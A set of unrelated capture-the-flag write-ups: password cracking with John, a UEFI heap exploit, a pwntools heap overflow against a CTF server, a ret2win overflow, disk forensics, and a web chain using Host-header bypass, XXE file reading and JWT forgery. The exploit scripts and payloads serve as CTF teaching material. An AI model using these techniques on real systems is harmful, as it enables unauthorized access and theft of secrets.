So I copied and pasted the text on [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)&input=CgoKCgoKCgogICAgICAgICAgICAgICBWbTB3ZUU1R2JGZFdXR2hVViAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAwZG9XRll3Wkc5V1ZsbDMgICAgICAgICAgICBXa1JTV0ZKCiAgICAgICAgICAgICAgIHNiRCAgICAgICAgICAgTlpWICAgICAgICAgICAgICAgICAgICBWWiAgICAgIFBWICAgICAgICAgICAgICAgICAgICAgICAgICAgIDJ4YSAgICAgICAgICAgICAgICAgICAgICAgYzFOICAgc1dsCiAgICAgICAgICAgICAgIGRTTSAgICAgICAgICAgMUpRICAgICAgICAgICAgICAgICAgICAgVmogICAgSjQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlXUiAgICAgICAgICAgICAgICAgICAgICBXUm4gICAgTmhSCiAgICAgICAgICAgICAgIG1SWCAgICAgICAgICAgVFRGICAgICAgICAgICAgICAgICAgICAgIEtlICBWZCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdaRCAgICAgICAgICAgICAgICAgICAgIFJaViAgICAgMUpYCiAgICAgICAgICAgICAgIFVtNUtZVkp0YUc5VVZtaENaICAgICAgICAgICAgICAgICAgICAgICBXeGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFYxVnJaRlJpVmxwSVYydCAgICAgICAgb1YyICAgICAgRkdTCiAgICAgICAgICAgICAgIG5OaiAgICAgICAgICAgUm1oICAgICAgICAgICAgICAgICAgICAgVlYgICBrViAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtURiAgICAgICAgIGxxUiAgICAgICBtRmogICAgICAgYkd0CiAgICAgICAgICAgICAgIDZZVSAgICAgICAgICAgWlNUICAgICAgICAgICAgICAgICAgICBsWiAgICAgWVEgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxwVyAgICAgICAgIFZ6RSAgICAgIHdWaiAgICAgICAgRmtTCiAgICAgICAgICAgICAgIEZOciAgICAgICAgICAgYkZKICAgICAgICAgICAgICAgICAgIGhlICAgICAgIG14ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhWbSAgICAgICAgIHBPYiAgICAgMkZHICAgICAgICAgVW5OCiAgICAgICAgICAgICAgIFhiVVpVVWpGYVNWcEZXbUZVICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJGcFpVV3hzVjFaNlFYaCAgICAgVmFrcEhVMFphZFZKc1NsZFNNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMDAx) and decoded it for 8 times.
And we get the flag which is: **CTF{w3c-ctf-z0z2_3ry9t0}** |
[Original writeup](https://cyberturtle804502703.wordpress.com/ctf-write-ups/reversing-challenges/#Mysterious) (https://cyberturtle804502703.wordpress.com/ctf-write-ups/reversing-challenges/#Mysterious) |
# Still Cruisin'
## Description
I want to join the Beach Boys, but they seem to keep everything locked down pretty tight. Can you help me get in?
https://drive.google.com/drive/folders/1oP_YHamhh9X9ewjwLMSxb6-7cX0BjTLe?usp=sharing
## Solution
Both files are password protected, let's try to crack it with john
```console$ ./pdf2john.pl production_notes.pdf > hash
$ ./john --wordlist=rockyou.txt hash
$ ./john --wordlist=rockyou.txt hashUsing default input encoding: UTF-8Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])Cost 1 (revision) is 6 for all loaded hashesWill run 8 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statustropical! (production_notes.pdf)1g 0:00:01:14 DONE (2022-03-06 01:49) 0.01333g/s 4407p/s 4407c/s 4407C/s twinny1..triplepUse the "--show --format=PDF" options to display all of the cracked passwords reliablySession completed```
And here is it the password `tropical!`
In the PDF file we found this

From `base64` => `1988_2_08_t5-sc_tbb`
Inside the `ZIP` we can found `sticky_note.txt`, and inside this file there is the computer's password (`groovy88`)
Let's mount the `vmdk` with VMware and login using the password
I don't know if this was intentional, but searching for the `UMDCTF` give us the flag

#### **FLAG >>** `UMDCTF{7h3r3'5_4_pl4c3_c4ll3d_k0k0m0}` |
# d3guard
> It's a pity that this challenge was not solved in the end, maybe there is still some space for improvement in the challenge, and we welcome players interested in UEFI PWN to communicate with us in a private message!
## 1. Analysis
Looking at the parameters of the boot script, you can see that QEMU writes a firmware called OVMF.fd to pflash (which can be seen as bios) at boot time, and mounts the `./content` directory as a fat format drive. Players familiar with UEFI development should quickly think of this as a UEFI PWN, i.e., completing a power-up by completing a vulnerability exploit in a UEFI environment
> All changes to the source file of the challenge are based on the edk2 project: [https://github.com/tianocore/edk2](https://github.com/tianocore/edk2)
Running the startup script without doing anything will take you directly to the operating system and switch to the low privilege user. This user does not have read access to the flag file in the root directory. Combined with the `cat /flag` in the title description, we can tell that we need to elevate privileges in some way to read the contents of the flag
```/ $ ls -al /flag-r-------- 1 0 0 25 Feb 17 17:33 /flag/ $ iduid=1000 gid=1000 groups=1000```
In general, edk2 provides two interactive ways for users to run EFI programs or set Boot parameters, UI and EFI SHELL. Checking boot.nsh we can see that by default the kernel boot parameters are: `bzImage console=ttyS0 initrd=rootfs.img rdinit=/init quiet`, that is, if we can enter the UI or EFI SHELL and then modify the boot parameters to `bzImage console=ttyS0 initrd=rootfs.img rdinit=/bin/ash` then we can enter the OS as a root shell and read the flag.
However, if you pay attention to the output of the startup process, you will find that the countdown before entering EFI shell is directly skipped (because I patched the entry logic). So you can only try to enter the UI interface. Edk2 the shortcut key to enter the UI interactive interface is F2 (or F12). Long press this key during startup to enter the UI interactive program. However, in this problem, instead of directly entering the UI interactive interface, you first enter the d3guard subroutine, as follows:
```BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)BdsDxe: starting Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)```

## 2. Reverse
Then the first task is to reverse analyze the `UiApp` to find the way to be able to access the normal Ui interaction. The `UiApp` module image can be easily extracted with the help of some tools, here we use: https://github.com/yeggor/uefi_retool
Two main vulnerabilities can be found through reverse. One is that there is a format string vulnerability when trying to log in as administrator, which can leak the address saved on the stack, including image address and stack address:

Another vulnerability is a heap overflow when editing user description information (which has been discovered by a number of teams):

In addition to the reverse analysis of the `UiApp` image, you also need to read the specific implementation of AllocatePool in edk2, which relates to some details of vulnerability exploitation, this part is temporarily omitted.
> Related codes are located at: [https://github.com/tianocore/edk2/blob/master/MdeModulePkg/Core/Dxe/Mem/Pool.c](https://github.com/tianocore/edk2/blob/master/MdeModulePkg/Core/Dxe/Mem/Pool.c)
## 3. Exploit
Through dynamic debugging, we found that after `New Visitor`, `visitor->name` and `visitor->desc` are located on adjacent memory intervals, so we can overwrite the `POOL_TAIL` of `visitor->desc` and the `POOL_HEAD` of `visitor->name` through a heap overflow vulnerability by swapping their positions so that `visitor->desc` is located at a lower address.
> Focus on the POOL_HEAD structure
```typedef struct { UINT32 Signature; UINT32 Reserved; EFI_MEMORY_TYPE Type; UINTN Size; CHAR8 Data[1];} POOL_HEAD;```
Combined with reading the source code related to AllocatePool, we found that when the `FreePool` function is called, edk2 puts the heap mem into different chains depending on `POOL_HEAD->EFI_MEMORY_TYPE`, and when allocating `visitor->name` and `visitor->desc`, the The `EFI_MEMORY_TYPE` used for the `AllocatePool()` parameter is `EfiReservedMemoryType` (i.e. constant 0). If the `POOL_HEAD->EFI_MEMORY_TYPE` of `visitor->name` is changed to another value by heap overflow, it can be put into other chains and will not be removed when requested again.


Finally, in `4. Confirm && Enter OS`, heap memory is allocated once more to copy `visitor->name` & `visitor->desc` and save it. The `EFI_MEMORY_TYPE` requested by `AllocatePool()` at this time is `EfiACPIMemoryNVS` (i.e. constant 10).

Combined with the above analysis, set `POOL_HEAD->EFI_MEMORY_TYPE` of `visitor->name` to 10 and free it. the heap mem originally assigned to `visitor->name` enters the free link list (this is a double-linked list), and by hijacking the FD and BK pointers of the double-linked list you can write a custom value to any address write a custom value to any address. Combined with the stack address leaked at the beginning, We can overwrite the return address of the d3guard function.
> Actually the solution of the last step is open, as long as it achieves the purpose of hijacking the control flow
Since the location of `_ModuleEntryPoint+718`, the upper function of `d3guard()`, will judge the return value of `d3guard()` to decide whether to enter the UI interaction interface, the most straightforward approach is to overwrite the d3guard return address to skip the if branch and enter the UI interaction interface directly. However, when actually writing the script, we found that the leaked program address is not stable with the target address offset of the jump, so we overwrite the d3guard return address as the address of a shellcode on the stack, which can be deployed in advance when entering the Admin pass key. With the help of the shellcode and the mirror address in the register, a stable jump target address can be calculated.
After successfully entering the Ui interactive interface, you only need to add a new boot item through the menu and set the parameter `rdinit` to `/bin/sh` and then enter the operating system through it to gain root access
> At first, I didn't think that the step of adding boot options could be a pitfall... In fact, you can compile a copy of the original OVMF.fd, then enter `Boot Maintenance Manager`->enter `Boot Options`->select `Add Boot Option`->select the kernel image `bzImage`->set the boot item name `rootshell`->set the additional parameters for the kernel boot ` console=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet`->finally return to the main page and select the boot option menu->find the item `rootshell`
---
> [Challenge attachment and exploit.](https://github.com/yikesoftware/d3ctf-2022-pwn-d3guard)
--- |
# UMDCTF 2022
## The Show Must Go On
> We are in the business of entertainment, the show must go on! Hope we can find someone to replace our old act super fast...> > **Author**: WittsEnd2>> `0.cloud.chals.io 30138`>> [`theshow`](theshow)
Tags: _pwn_ _x86-64_ _bof_ _heap_
## Summary
BOF in embryo heap (vs stack) to change a function pointer to `win`.
> The binary is static linked. So a bit more looking around. You'll lose a lot of time if you do not discover the `win` function.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```
No PIE is all we need to call `win`.
### Ghidra Decompile
```cundefined8 setup(void){ undefined8 *puVar1; long in_FS_OFFSET; int local_44; char *local_40; undefined local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_40 = (char *)0x0; local_44 = 0; message1 = (undefined8 *)malloc_set(0x50); message2 = (undefined8 *)malloc_set(0x60); message3 = (undefined8 *)malloc_set(0x80); puVar1 = message1; *message1 = 0x20656d6f636c6557; puVar1[1] = 0x6320656874206f74; puVar1[2] = 0x6c63207964656d6f; *(undefined4 *)(puVar1 + 3) = 0xa216275; puVar1 = message2; *message2 = 0x20796c6e6f206557; puVar1[1] = 0x6568742065766168; puVar1[2] = 0x6f63207473656220; puVar1[3] = 0x20736e616964656d; *(undefined4 *)(puVar1 + 4) = 0x65726568; *(undefined *)((long)puVar1 + 0x24) = 0x21; puVar1 = message3; *message3 = 0x6820657361656c50; puVar1[1] = 0x7320737520706c65; puVar1[2] = 0x6f66207075207465; puVar1[3] = 0x612072756f792072; *(undefined4 *)(puVar1 + 4) = 0xa7463; printf("%s",message1); printf("%s",message2); printf("%s",message3); puts("What is the name of your act?"); __isoc99_scanf(&DAT_004bb1e6,local_38); mainAct = malloc_set(0x68); thunk_FUN_0040054e(mainAct,local_38,0x20); local_40 = crypt("Main_Act_Is_The_Best",salt); thunk_FUN_0040054e(mainAct + 0x20,local_40,0x40); puts("Your act code is: Main_Act_Is_The_Best"); *(code **)(mainAct + 0x60) = tellAJoke; currentAct = mainAct; free(message1); free(message3); puts("How long do you want the show description to be?"); __isoc99_scanf(&DAT_004bb2a2,&local_44); showDescription = (char *)malloc_set((long)(local_44 + 8)); puts("Describe the show for us:"); getchar(); fgets(showDescription,500,(FILE *)stdin); actList._0_8_ = mainAct; if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { __stack_chk_fail(); } return 0;}```
The vuln is `fgets`:
```c puts("How long do you want the show description to be?"); __isoc99_scanf(&DAT_004bb2a2,&local_44); showDescription = (char *)malloc_set((long)(local_44 + 8)); puts("Describe the show for us:"); getchar(); fgets(showDescription,500,(FILE *)stdin);```
The length of `showDescription` is dynamic, but `fgets` will read up to `500` bytes. This creates an opportunity to corrupt the heap.
There are four `malloc_set` calls before the `malloc_set` for `showDescription`. The fourth is for the `mainAct` struct; `0x60` offset into that struct is a pointer to a function:
```c*(code **)(mainAct + 0x60) = tellAJoke;```
We just need to change that to `win`, that's it.
Just before we're prompted for show length, the following `free`s are called:
```c free(message1); free(message3);```
If we set our show length to the same as `message3` (`0x80`, see the decompile), then we should be sitting in the heap right above the `mainAct` struct (heap memory optimization for reuse). If so, then overwriting the function pointer is trivial.
The request size needs to be `0x80` - `8` (`120`), since the code will add `8` to our value:
```cshowDescription = (char *)malloc_set((long)(local_44 + 8));```
To overwrite the function pointer we'll need to send `0x80` bytes to exhaust our allocation + `16` bytes for the heap structure (Google for some heap diagrams) + `0x60` (offset into `mainAct` for function pointer). So that's `0x80 + 16 + 0x60` (`240`).
Alternatively you can use GDB:
```gef➤ runStarting program: /pwd/datajerk/umdctf2022/theshow/theshowWelcome to the comedy club!We only have the best comedians here!Please help us set up for your actWhat is the name of your act?FOOBARYour act code is: Main_Act_Is_The_BestHow long do you want the show description to be?^CProgram received signal SIGINT, Interrupt.```
Start it, put in a string (e.g. `FOOBAR`), ctrl-C, then:
```gef➤ grep FOOBAR[+] Searching 'FOOBAR' in memory[+] In '[heap]'(0x6e9000-0x73b000), permission=rw- 0x719c90 - 0x719c96 → "FOOBAR"```
Note the `0x719c90` location and type `c`:
The last prompt was `How long do you want the show description to be?`, and we already determined above it needs to be `120`, so type that in:
```gef➤ cContinuing.120Describe the show for us:BLAHBLAHWhat would you like to do?+-------------+| Actions ||-------------|| Perform Act || Switch Act || End Show |+-------------|Action: ^C```
Enter something else (e.g. `BLAHBLAH`), and then ctrl-C and search for it:
```gef➤ grep BLAHBLAH[+] Searching 'BLAHBLAH' in memory[+] In '[heap]'(0x6e9000-0x73b000), permission=rw- 0x719c00 - 0x719c0a → "BLAHBLAH\n"```
Verify that `0x719c00` (location of `BLAHBLAH`) is less than `0x719c90` (location of `FOOBAR`), if so, you're a winner. Just subtract one from the other and add `0x60` for the function pointer offset:
```gef➤ p/d 0x719c90 - 0x719c00 + 0x60$1 = 240``` ## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./theshow',checksec=False)
if args.REMOTE: p = remote('0.cloud.chals.io', 30138)else: p = process(binary.path)
p.sendlineafter(b'act?\n', b'foo')p.sendlineafter(b'be?\n', b'120')
payload = b''payload += 240 * b'A'payload += p64(binary.sym.win)
p.sendlineafter(b'us:\n', payload)p.sendlineafter(b'Action: ', b'1')
flag = p.recvline().strip().decode()
p.close()print(flag)```
Output:
```bash# ./exploit.py REMOTE=1[+] Opening connection to 0.cloud.chals.io on port 30138: Done[*] Closed connection to 0.cloud.chals.io port 30138UMDCTF{b1ns_cAN_B3_5up3r_f4st}```
|
I was given the [binary](https://github.com/mar232320/ctf-writeups/blob/main/nactf/2022/ret2?raw=true) and the [source code](https://github.com/mar232320/ctf-writeups/blob/main/nactf/2022/ret2.c)
My goal was to execute the print_flag() function.
Address of this function was 0x00000000004011f7
The buffer of char input is 16 and char takes 8 bytes itself so the overflow value must be 24. My payload was a*24 + \xf7\x11@\x00\x00\x00\x00\x00 |
[Original writeup](https://cyberturtle804502703.wordpress.com/ctf-write-ups/forensic-challenges/#Blank-Slate) (https://cyberturtle804502703.wordpress.com/ctf-write-ups/forensic-challenges/#Blank-Slate) |
# Renzik's Case
## Description
My friend deleted important documents off of my flash drive, can you help me find them?
Note: The flag can be submitted with or without the hiphen ex. UMDCTF-{flag} or UMDCTF{}
https://drive.google.com/file/d/1VmUyHJqU11E0UE7OYTPYV3U2yVh2qL5g/view?usp=sharing
## Solution
We get only a `.img` file
Because we need to recover some files let's try with `Autopsy`


#### **FLAG >>** `UMDCTF-{Sn00p1N9-L1K3_4_Sl317h!}` |
# PimpMyVariant
Categories: Web
Description:> Seen as it went, why not guess the next variant name : [pimpmyvariant.insomnihack.ch](pimpmyvariant.insomnihack.ch)
## Takeaways
* [HTTP Host header attacks](https://portswigger.net/web-security/host-header) and how to [identify them](https://portswigger.net/web-security/host-header/exploiting)* In combination with the Host header attack, [these additional headers](https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c) might had to be used in a more strict setting.* [JWT (JSON Web Tokens)](https://jwt.io/#debugger-io) manipulation* [XML External Entity (XXE) injection](https://portswigger.net/web-security/xxe)* [Exploiting insecure deserialization](https://portswigger.net/web-security/deserialization/exploiting) in [PHP](https://github.com/nikosChalk/exploitation-training/blob/master/web-exploitation/php-specific.md#php-object-injection-aka-php-deserialization). We modify a serialized object provided to us by the server and also inject an additional one.
## Solution
When we visit the given challenge website, we are presented with a static webpage

It is also running purely on HTTP and not HTTPS, for convenience. What we are seeing here are current covid-19 variants and potentially future variant names. These are taken from the greek alphabet, so a guess for the next variant name is "Kappa". But where shall we enter it?
The site is static and has no links. A common place to look for other endpoitns is `/robots.txt`
```GET /robots.txt HTTP/1.1
HTTP/1.1 200 OKServer: nginxDate: Mon, 31 Jan 2022 12:02:11 GMTContent-Type: text/plainContent-Length: 38Last-Modified: Fri, 28 Jan 2022 20:53:26 GMTConnection: closeETag: "61f457c6-26"X-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockCache-Control: no-transformFeature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;Accept-Ranges: bytes
/readme/new/log/flag.txt/todo.txt```
So from this we get a bunch of endpoints and we also know that the server is running nginx. Let's try visiting those endpoints:
```htmlGET /readme HTTP/1.1
HTTP/1.1 200 OK
<head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title></head><body> <h1>Readme</h1>
Hostname not allowed```
```htmlGET /new HTTP/1.1
HTTP/1.1 200 OK
<html><head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title></head><body> <h1>New variant</h1>
Hostname not autorized```
```htmlGET /log HTTP/1.1
HTTP/1.1 200 OK
<html><head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title></head><body> <h1>Logs</h1>
Access restricted to admin only```
```htmlGET /flag.txt HTTP/1.1
HTTP/1.1 403 Forbidden
Try harder```
```htmlGET /todo.txt HTTP/1.1
HTTP/1.1 200 OK
test back```
Response headers are similar to the first request, so we omit them from our analysis here. Two endpoints (`/readme`, `/new`) state that the "Hostname" is not allowed/authorized. The endpoint `/log` requires us to be admin while `/todo.txt` is accessible. The intuition here is to first bypass the Hostname defense and furthermore become admin to access the logs and potentially get the flag.
From the "Hostname" not allowed/authorized message we get the intuition that the request first goes through a load balancer which parses the `Host` HTTP request header before reaching a target back-end server. Tampering with it indeed allows us to bypass the defense:
```htmlGET /readme HTTP/1.1Host: 127.0.0.1
HTTP/1.1 200 OK
<html><head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title></head><body> <h1>Readme</h1>
#DEBUG- JWT secret key can now be found in the /www/jwt.secret.txt file```
```htmlGET /new HTTP/1.1Host: 127.0.0.1
HTTP/1.1 200 OK
<html><head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title></head><body> <h1>New variant</h1>
<form method="post" enctype="application/x-www-form-urlencoded" id="variant_form"> Guess the next variant name : <input type="text" name="variant_name" id="variant_name" placeholder="inso-micron ?" /> <input type="submit" name="Bet on this" /></form><script type="text/javascript">document.getElementById('variant_form').onsubmit = function(){ var variant_name=document.getElementById('variant_name').value; postData('/api', "<root><name>"+variant_name+"</name></root>") .then(data => { window.location.href='/'; }); return false;}
async function postData(url = '', data = {}) { return await fetch(url, { method: 'POST', cache: 'no-cache', headers: { 'Content-Type': 'text/xml' }, redirect: 'manual', referrerPolicy: 'no-referrer', body: data });}</script>
</body></html>```
So the `/readme` endpoint reveals us a secret JWT key in `/www/jwt.secret.txt`
```htmlGET /www/jwt.secret.txt HTTP/1.1Host: 127.0.0.1
HTTP/1.1 403 Forbidden
Try harder```
It seems that we cannot simply retrieve it and we have to find another way. But we also unlocked the `/new` endpoint, which is a form submission for a new variant. The form is submitted in the `/api` endpoint and we seem to be able to control the full XML file that is being submitted. Let's try it out:
```htmlPOST /api HTTP/1.1Host: pimpmyvariant.insomnihack.ch
<root><name>foobar</name></root>
HTTP/1.1 302 FoundSet-Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiZm9vYmFyIl0sInNldHRpbmdzIjoiYToxOntpOjA7Tzo0OlwiVXNlclwiOjM6e3M6NDpcIm5hbWVcIjtzOjQ6XCJBbm9uXCI7czo3OlwiaXNBZG1pblwiO2I6MDtzOjI6XCJpZFwiO3M6NDA6XCIxYzY1YTU3ZGYzYmRlMGIxZGYyYTljZDZkMmFhMjdjZTY1YTMxZDIyXCI7fX0iLCJleHAiOjE2NDM2MzIyMjN9.M9rJq2vBO5VErQgGxcyWcuMFxQ0rKSyneV9HqHkrdtMLocation: /
<root><sucess>Variant name added !</sucess></root>
GET / HTTP/1.1Cookie: jwt=...
HTTP/1.1 200 OK
<html><head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title></head><body> <h1>Variants list</h1>
AlphaBetaGammaDeltaOmicronLambdaEpsilonZetaEtaThetaIotafoobar</body></html>```
Interesting, a lot of things are happening. Let's break it down:
* We have complete control over the XML file that is being submitted* After `POST /api` the server tells us that the variant was successfully added and also sets a JWT (JSON Web Token) as a cookie. Then it redirects us to the home page `/`* The homepage displays the `foobar` value that we submitted in the XML.
Since we have complete control over the XML file, we should attempt an [XXE attack](https://portswigger.net/web-security/xxe). Also, since the name is reflected in the homepage, the web app might also be susceptible to [XSS](https://portswigger.net/web-security/cross-site-scripting) attacks, but this is not interesting since no other user or admin is accessing the web app.
Let's also analyze the JWT that the server sent us:
```txt# Header:{ "alg": "HS256", "typ": "JWT"}
# Payload{ "variants": [ "Alpha", "Beta", "Gamma", "Delta", "Omicron", "Lambda", "Epsilon", "Zeta", "Eta", "Theta", "Iota", "foobar" ], "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"1c65a57df3bde0b1df2a9cd6d2aa27ce65a31d22\";}}", "exp": 1643632223}
# SignatureM9rJq2vBO5VErQgGxcyWcuMFxQ0rKSyneV9HqHkrdtM```
The JWT token seems to include our covid-19 variant guess. The `settings` part is particularly interesting because it is a PHP deserialized object and the server could be vulnerable to PHP deserialization attacks. The fields `name` and `isAdmin` in the deserialized object seem promising.
Tampering with the token to become admin and trying to visit `/log` was not successful, probably because we need to also use JWT secret key. So let's try to use an XXE to leak `/www/jwt.secret.txt`
```htmlPOST /api HTTP/1.1
]><root><name>&myentity;</name></root>
HTTP/1.1 302 FoundLocation: /Set-Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjowO3M6MjpcImlkXCI7czo0MDpcImNmZDZkNDAxMDYxZWE0NTY5MWFmMDBjZTA0ZDYwOTcxYThmYWY1N2JcIjt9fSIsImV4cCI6MTY0MzYzMzQ4M30.YsJ-YihF2vjECIsLbakj1xD0_SL5QzbovYSGndiyD9A
<root><sucess>Variant name added !</sucess></root>
GET / HTTP/1.1Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjowO3M6MjpcImlkXCI7czo0MDpcImNmZDZkNDAxMDYxZWE0NTY5MWFmMDBjZTA0ZDYwOTcxYThmYWY1N2JcIjt9fSIsImV4cCI6MTY0MzYzMzQ4M30.YsJ-YihF2vjECIsLbakj1xD0_SL5QzbovYSGndiyD9A
HTTP/1.1 200 OK<html><head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title></head><body> <h1>Variants list</h1>
Alpha...Iota54b163783c46881f1fe7ee05f90334aa...```
And indeed the XXE worked! We manage to retrieve the secret key `54b163783c46881f1fe7ee05f90334aa` for the JWT token.
Now let's modify the [above JWT](https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjowO3M6MjpcImlkXCI7czo0MDpcImNmZDZkNDAxMDYxZWE0NTY5MWFmMDBjZTA0ZDYwOTcxYThmYWY1N2JcIjt9fSIsImV4cCI6MTY0MzYzMzQ4M30.YsJ-YihF2vjECIsLbakj1xD0_SL5QzbovYSGndiyD9A) and change `name` to `admin`, `isAdmin` to `1`, `exp` to a much later expiration date, and also use the above secret key to sign the token.
So let's use our [modified JWT](https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NTpcImFkbWluXCI7czo3OlwiaXNBZG1pblwiO2I6MTtzOjI6XCJpZFwiO3M6NDA6XCJjZmQ2ZDQwMTA2MWVhNDU2OTFhZjAwY2UwNGQ2MDk3MWE4ZmFmNTdiXCI7fX0iLCJleHAiOjI2NDM2MzM0ODN9.FslN9xPgQpkn1dFKwRZHQTa-lcyMAX7Q2CQfVG12hxc) to make a request to `/log` and bypass the admin check.
```htmlGET /log HTTP/1.1Host: 127.0.0.1Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NTpcImFkbWluXCI7czo3OlwiaXNBZG1pblwiO2I6MTtzOjI6XCJpZFwiO3M6NDA6XCJjZmQ2ZDQwMTA2MWVhNDU2OTFhZjAwY2UwNGQ2MDk3MWE4ZmFmNTdiXCI7fX0iLCJleHAiOjI2NDM2MzM0ODN9.FslN9xPgQpkn1dFKwRZHQTa-lcyMAX7Q2CQfVG12hxc
HTTP/1.1 200 OK
<html><head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title></head><body> <h1>Logs</h1>
<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36Stack trace:#0 {main} thrown in /www/log.php on line 37#0 {UpdateLogViewer::read} thrown in /www/UpdateLogViewer.inc on line 26
</textarea></body></html>```
